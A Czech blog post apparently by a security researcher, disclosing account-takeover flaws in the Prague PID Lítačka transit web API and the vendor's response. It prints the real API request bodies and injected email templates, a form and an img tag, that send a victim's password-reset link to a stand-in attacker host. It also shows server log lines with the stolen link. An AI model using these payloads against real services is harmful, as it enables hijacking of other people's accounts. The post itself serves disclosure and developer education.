Před pár týdny byl v Praze a Středočeském kraji spuštěn nový Regionální dopravní systém PID Lítačka. Ten umožňuje kupovat jízdné mobilní aplikací, nahrávat kupóny na platební karty (resp. je spolu spárovat) a ty pak přikládat k náhodným zařízením v dopravních prostředcích. A taky uměl získat odkaz na reset hesla jakéhokoliv uživatele přímo z jeho browseru.
Pár dní po spuštění jsme se na to s Jakubem Boučkem z rychlíku podívali a pár bezpečnostních chyb našli vcelku rychle. Kvůli jedné z nich jde zneužít nepovedený reset zapomenutých hesel k únosu účtů.
Nejdříve ale vlítneme na registraci, protože pro další zkoumání budeme potřebovat účet. Po zadání e-mailové adresy a hesla při registraci je ještě nutné účet aktivovat kliknutím na odkaz, který Lítačka pošle na zadaný e-mail.
Obsah aktivačního e-mailu včetně odkazu se ale nejdřív posílá z prohlížeče na server, ten ho vezme a pošle na zadaný e-mail. Pokud chcete ověřit jakýkoliv účet, tak se stačí podívat co váš prohlížeč posílá a vytáhnout si ten správný odkaz.
Registrace začíná odesláním těchto dat z JavaScriptu na https://www.pidlitacka.cz/api
:
{
"params": {
"UserName": "litacka@...",
"Password": "...",
"SendPUK": false
},
"action": "CreateLogin"
}
Takhle to vypadá v Developer Tools ve Firefoxu, jiný nástroj nebudeme potřebovat
Server prohlížeči vrátí:
{
"Result": {
"ID": 0,
"Type": {
"Text": null,
"ID": 0
},
"Text": "OK"
},
"Login": {
"UserName": "litacka@...",
"LoginID": ...,
"Active": false
}
}
Následuje poslání obsahu e-mailu z prohlížeče na https://www.pidlitacka.cz/api
, server ho vezme a pošle na zadanou adresu:
{
"action": "SendEmail",
"params": {
"LoginID": ...,
"TokenID": 1,
"BodyIsHtml": true,
"Body": "...HTML... aktivaci Vašeho účtu provedete na následujícím odkazu: <br> <a href=\"https://www.pidlitacka.cz/activation?user=...&id=...\"> ...HTML...",
"Email": "litacka@...",
"Subject": "Aktivace účtu"
}
}
Z vašeho prohlížeče si tedy můžete vytáhnout odkaz https://www.pidlitacka.cz/activation?user=...&id=...
pro ověření jakéhokoliv e-mailu. Stačí si otevřít Developer Tools a podívat se na odeslaný požadavek. Zajímavostí je také to, že parametr user
v odkazu je do Base64 zakódovaná e-mailová adresa uživatele, jehož účet chcete aktivovat a parametr id
je 19 číslic, z nichž prvních 10 nápadně připomíná „timestamp“, tedy počet vteřin od 1.1.1970, častý formát zápisu času.
Jakuba napadlo se podívat na zoubek i resetu hesel. Pokud by prohlížeč stejným způsobem posílal i odkaz na reset zapomenutého hesla, tak by se případný útočník mohl dostat i k tomu odkazu a mohl tak komukoliv unést účet resetováním hesla.
Reset hesla začíná kontrolou existence uživatelského jména, na https://www.pidlitacka.cz/api
se pošlou tato data:
{
"action": "CheckUserName",
"params": {
"UserName": "litacka@..."
}
}
Po odpovědi ze serveru, která obsahuje mj. "LoginID": ...
, prohlížeč sestaví zprávu, která se má uživateli poslat a pošle ji na https://www.pidlitacka.cz/api/requestPasswordChange
. Odesílaná data:
{
"template": "...HTML... {{content}} ...HTML...",
"root": "https://www.pidlitacka.cz/",
"params": {
"email": "litacka@..."
},
"type": "password"
}
V prohlížeči se po odeslání objeví „Byl vám odeslán email s odkazem pro změnu hesla“, ale požadavek na nastavení nového hesla obsahuje opravdu jenom {{content}}
. Na toto místo server přidá odkaz a nějaký další text a výslednou zprávu pošle na zadaný e-mail. Takže asi smůla.
Výsledná zpráva s nahrazeným {{content}}
Ledaže bychom si nějak ze stránky vytáhli („exfiltrovali“) to HTML, které Lítačka doplní na místo značky {{content}}
a poslali ho k sobě na server. Jo, to by šlo. HTML kolem {{content}}
má útočník pod kontrolou, takže tu značku může něčím obalit, třeba formulářem a značkou textarea
:
{
"template": "...HTML... <form action=https://útočník><textarea name=html>{{content}}</textarea><input type=submit value=NASTAV></form> ...HTML...",
"root": "https://www.pidlitacka.cz/",
"params": {
"email": "litacka@..."
},
"type": "password"
}
Uživateli přijde e-mail, ve kterém uvidí tlačítko NASTAV
, klikne na něj a v tu chvíli prohlížeč vezme obsah útočníkem přidaného textového políčka, do kterého server předtím vložil zprávu včetně unikátního odkazu, a pošle ho na útočníkem zadanou adresu.
Upravená doručená zpráva, jistě by šla víc vyšperkovat
V logu serveru se pak dá najít něco jako:
GET /?html=...%3Ca+href%3D%22https%3A%2F%2Fwww.pidlitacka.cz%2Fpassword-reset%2Fstep2%3Fid%3D...%22%3E... HTTP/2.0
Po dekódování dostaneme <a href="https://www.pidlitacka.cz/password-reset/step2?id=...">
. Stačí ten odkaz vzít, otevřít si ho v prohlížeči a nastavit jakémukoliv uživateli nové heslo a tím mu v podstatě unést účet.
Jednotlivé kroky útoku vypadají následovně:
+-------------+ | Prohlížeč | (posílá útočníkem upravenou šablonu a adresu oběti) +------+------+ | <form action=útočník>{{content}}</form> | +------v------+ | Lítačka API | (nahradí {{content}} za odkaz, posílá e-mail) +------+------+ | <form action=útočník>odkaz</form> | +------v------+ | Oběť | (uživatel klikne na tlačítko v e-mailu) +------+------+ | odkaz na reset hesla | +------v------+ | Útočník | (může nastavit heslo oběti a unést účet) +-------------+
Uvedený způsob vyžaduje uživatelskou akci – uživatel musí kliknout na tlačítko v e-mailu. Další možností je pokusit se načíst obrázek z útočníkovo serveru:
<img src='https://útočník/?html={{content}}'>
Uživatel si otevře e-mail a jeho prohlížeč narazí na útočníkem vložený obrázek. V tu chvíli se browser pokusí stáhnout obrázek z adresy, do které server doplnil e-mail s unikátním kódem pro reset hesla. Všimněte si ohraničení hodnoty atributu src
pomocí apostrofů (někdy jim říkáme jednoduché uvozovky). To je proto, že klasické (dvojité) uvozovky z HTML, které se dosadí místo značky {{content}}
, by nám jinak src
rozbily a předčasně ukončily.
Takový únos HTML ale nefunguje v Chrome, v něm jsou blokovány požadavky na obrázky s adresou, která obsahuje nové řádky a znak menší než (<
). Ve Firefoxu by to prošlo, v logu by se objevilo něco jako:
GET /?html=...%3Ca%20href=%22https://www.pidlitacka.cz/password-reset/step2?id=...%22%3E... HTTP/2.0
Požadavek na obrázek s uneseným odkazem v Developer Tools ve Firefoxu
Jistě by to šlo celé zkombinovat a automatizovat, ale to není cílem tohoto článku. Jednotlivé kroky vypadají podobně jako v případě použití útočníkem přidaného formuláře, jen uživatel nemusí na nic klikat.
Společně s Jakubem Boučkem vás, webové vývojáře, prosíme, nevěřte ničemu co vám prohlížeč posílá, děkujeme. Rozhodně vám totiž nemusí vrátit to, co mu pošlete. A taky si na web dejte soubor security.txt
, ať nemusíme dlouze hledat, komu takové chyby hlásit. Lítačka už takový soubor přidala.
Tak jako vždy jsem po napsání textu výše poslal odkaz dotčené firmě s tím, že ho za týden vydám (chybu jsme už před napsáním článku začali rozebírat veřejně na Facebooku, takže nebyl důvod ho „tajit“ déle). Jejich reakce byla ukázková:
+
a o dost vážnější problém, který i po pokusu o opravu stále umožní aktivovat účet někoho jiného: v požadavku z prohlížeče stačí zaměnit e-mailovou adresu oběti za nějakou jinou, na kterou server pošle aktivační odkaz pro uživatele podle loginId
, které je také součástí požadavku. Pro správnou funkčnost odkazu je pak potřeba vrátit původní adresu oběti zpět do parametru user
.+
je známá a že prý „bojují s problémem na straně použitého LDAP“. Chápu.„Velice si ceníme profesionálního přístupu p. Špačka a jeho kolegy, kteří nás informovali o potencionální bezpečnostní hrozbě v systému, který je nyní v pilotní fázi. Jsme rádi, že jsme na základě jeho podnětu podnikli okamžité kroky ke zlepšení bezpečnosti regionálního dopravně odbavovacího systému. Právě zpětná vazba od expertů je pro nás velice přínosná a pomáhá nám neustále vylepšovat systém pro bezmála 3 miliony cestujících v rámci Prahy a Středočeského kraje. Díky rychlé a profesionální reakci tak nedošlo k žádnému případu zneužití.“ Vladimír Antonin Bláha, tiskový mluvčí městské společnosti Operátor ICT, a.s.
Díky Jakubovi (@JakubBoucek) za spolupráci a společnosti Operátor ICT za skvělé řešení tohoto incidentu. Kéž by takový přístup měli všichni.